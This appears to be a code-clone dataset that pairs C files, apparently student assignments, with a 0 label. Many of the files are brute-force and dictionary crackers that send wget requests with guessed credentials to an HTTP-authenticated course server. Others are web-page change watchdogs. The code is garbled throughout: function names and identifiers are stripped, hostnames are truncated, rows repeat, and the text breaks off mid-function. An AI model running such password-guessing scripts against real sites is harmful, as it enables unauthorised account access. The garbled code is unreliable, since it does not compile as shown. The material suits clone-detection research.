m[0]=b[i];
m[1]='\0';
strcpy(c,m);
printf("%s \n",c);
for(j=0;j<52;j++)
{
m[0]=b[j];
m[1]='\0';
strcpy(c1,c);
strcat(c1,m);
printf("%s \n",c1);
for(k=0;k<52;k++)
{
count++;
printf("ATTEMPT :%d\n",count);
m[0]=b[k];
m[1]='\0';
strcpy(c2,c1);
strcat(c2,m);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
strcat(a,c2);
if(system(a)==0)
{
printf("Congratulations!!!!BruteForce Attack Successful\n");
printf("***********************************************\n");
printf("The Password is %s\n",c2);
printf("The Request sent is %s\n",a);
end_time = time();
total_time = (end_time -start_time);
total_time /= 1000000000.0;
printf("The Time Taken is : %llds\n",total_time);
exit(1);
}
}
}
}
return 0;
}
| 0 |
023.c | 030.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
int pass,count=0;
char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
char [4];
char url1[100];
char url2[100];
startTime = time();
for (i=0;i<=52;i++)
{
for (j=0;j<=52;j++)
{
for(k=0;k<=52;k++)
{
count++;
[0] = arr[i];
[1] = arr[j];
[2] = arr[k];
[3] = '\0';
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,);
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
printf("Success\n");
printf("Number of attempts = %d\n",count);
stopTime = time();
final = stopTime-startTime;
printf("The password for the user : %s\n",);
printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
exit(1);}
}
}
}
}
| 0 |
023.c | 044.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
char *itoa(int);
int ()
{
int t,t1,t2, timeinsec;
int nofattempts = 0;
char url[80], url1[80], *ur1, *ur2;
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
int i = 65;
int j ;
int k ;
char *c1, *c2, *c3;
char *c12, pass[4];
int syst = 1;
char a = 'a';
char inside[50];
t1 = time();
for (i = 65; i <= 122; i++)
{
if (i > 90 && i < 97) continue;
for (j = 65; j <= 122; j++)
{
if (j > 90 && j < 97) continue;
for (k = 65; k <= 122; k++)
{
fflush(stdin);
if (k > 90 && k < 97) continue;
c1 = itoa(i);
c2 = itoa(j);
c3 = itoa(k);
pass[0] = *c1;
pass[1] = *c2;
pass[2] = *c3;
pass[3] = '\0';
strcat(url, pass);
strcat(url, url1);
++nofattempts;
syst = system(url);
printf("%s\n",pass);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t / 1000000000;
printf(" Total .of attempts :- %d", nofattempts);
printf("\n !!! 's the password:- %s\n", pass);
printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
}
exit(0);
}
char *itoa(int a)
{
char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l",
"m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x",
"y", "z" };
char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L",
"M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z" };
char *ret;
if ( a >= 97 && a <= 122)
{
ret = [a-97];
return ret;
}
if ( a >= 65 && a <= 90)
{
ret = [a-65];
return ret;
}
return "5";
}
| 0 |
023.c | 051.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int time1, time2, time_var;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
time1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
if (strlen(word) == 3)
{
syst = system(url);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
}
if (syst == 0)
{
time2 = time();
time_var = time2 - time1;
timeinsec = time_var/1000000000;
printf("\n The Password is: %s",word);
printf("\n of Attempts: %d\n",nofattempts);
printf("\n Time Taken: %d seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
023.c | 066.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int ()
{
int cntr=0;
char get[96];
char username[]="";
char password[16];
int R_VALUE;
double time_used;
clock_t , end;
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
= clock();
while ( fscanf(fp,"%s",&password) != EOF )
{
if(strlen(password)>3) continue;
cntr++;
printf("%d >> PASSWORD SEND : %s \n",cntr, password);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
R_VALUE=system(get);
if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
exit(0);
}
}
end = clock();
time_used = ((double) (end - )) / CLOCKS_PER_SEC;
printf("time_used = %f\n", time_used);
}
| 0 |
023.c | 026.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
|
#include <stdio.h>
#include <sys/time.h>
#include <strings.h>
#include <stdlib.h>
#include <ctype.h>
int ()
{
FILE *fileopen;
char *t_tst,chk[6];
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir original");
system("mv www.cs.rmit.edu./images/*.* original/");
system("mv www.cs.rmit.edu./students/*.* original/");
sleep(75);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* fresh/");
system("mv www.cs.rmit.edu./students/*.* fresh/");
system("diff one two > image_dif.txt");
fileopen = fopen("imagedif.txt","r");
t_tst = fgets(chk, 6, fileopen);
if (strlen(chk) != 0)
system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt");
return 0;
}
| 0 |
023.c | 067.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main ()
{
FILE *fp;
char s[300] , ptr[20];
system("rm *.html* ");
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html First.html");
system("sleep 10");
system("wget http://www.cs.rmit.edu./students/ ");
system("diff First.html index.html > difference.txt" );
fp=fopen("difference.txt","r");
if(fgets(ptr,30,fp))
{
system( "mailx -s \"Changes were detected \" < difference.txt ");
}
else
printf(" were changes detected");
return 0;
}
| 0 |
023.c | 024.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int a=0,b=0,c=0,d,e,count=0;
char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
int ,end,t;
= time();
while(sizeof(lc)!=52)
{
temp2[0]=lc[d];
temp2[1]='\0';
d=d+1;
strcpy(p,temp2);
while(sizeof(uc)!=52)
{
temp3[0]=uc[b];
temp3[1]='\0';
b=b+1;
strcpy(q,p);
strcat(q,temp3);
for(e=0;e<52;e++)
{
temp1[0]=gc[e];
temp1[1]='\0';
strcpy(r,q);
strcat(r,temp1);
strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
strcat(mx,r);
printf("temp3=%s\n",mx);
if(system(mx)==0)
{
printf("Password=%s\n",mx);
printf("%d \n",count);
end = time();
t = (end -);
t /= 1000000000.0;
printf("The total time_var taken is:%llds\n",t);
exit(1);
}
}
}
}
return 0;
}
| 0 |
023.c | 009.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int main()
{
char *wordptr = " word";
FILE *fp;
int syst = 1;
char string1[80], string2[50];
strcpy(string1, "wget --http-user= --http-passwd=");
strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
char words[30];
fp = fopen("words", "r");
while(wordptr != NULL)
{
wordptr = fgets(words, 30, fp);
if (wordptr == NULL) exit(1);
words [ strlen(words) - 1 ] = '\0';
strcat(string1, words);
strcat(string1, string2);
printf("\n %s \n",string1);
syst = system(string1);
if (syst == 0)
{
exit(1);
}
strcpy(string1, "");
strcpy(string1, "wget --http-user= --http-passwd=");
printf("%s", words);
}
}
| 0 |
076.c | 053.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
char URL[255];
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;
(void) time(&u1);
strcpy(temp1,"wget --http-user= --http-passwd=");
strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
for(m=0;m<=51;m++)
{
v[0]=[m];
v[1]='\0';
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(n=0;n<=51;n++)
{
v[0]=[m];
v[1]=[n];
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(o=0;o<=51;o++)
{
v[0]=[m];
v[1]=[n];
v[2]=[o];
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
}
| 0 |
076.c | 045.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int t1, t2, t;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
t1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
if (strlen(word) == 3)
syst = system(url);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t/1000000000;
printf("\n !!! here's the passowrd:- %s",word);
printf("\n Total .of atempts: %d\n",nofattempts);
printf("\n The total time_var taken: %d seconds", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
076.c | 031.c | #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
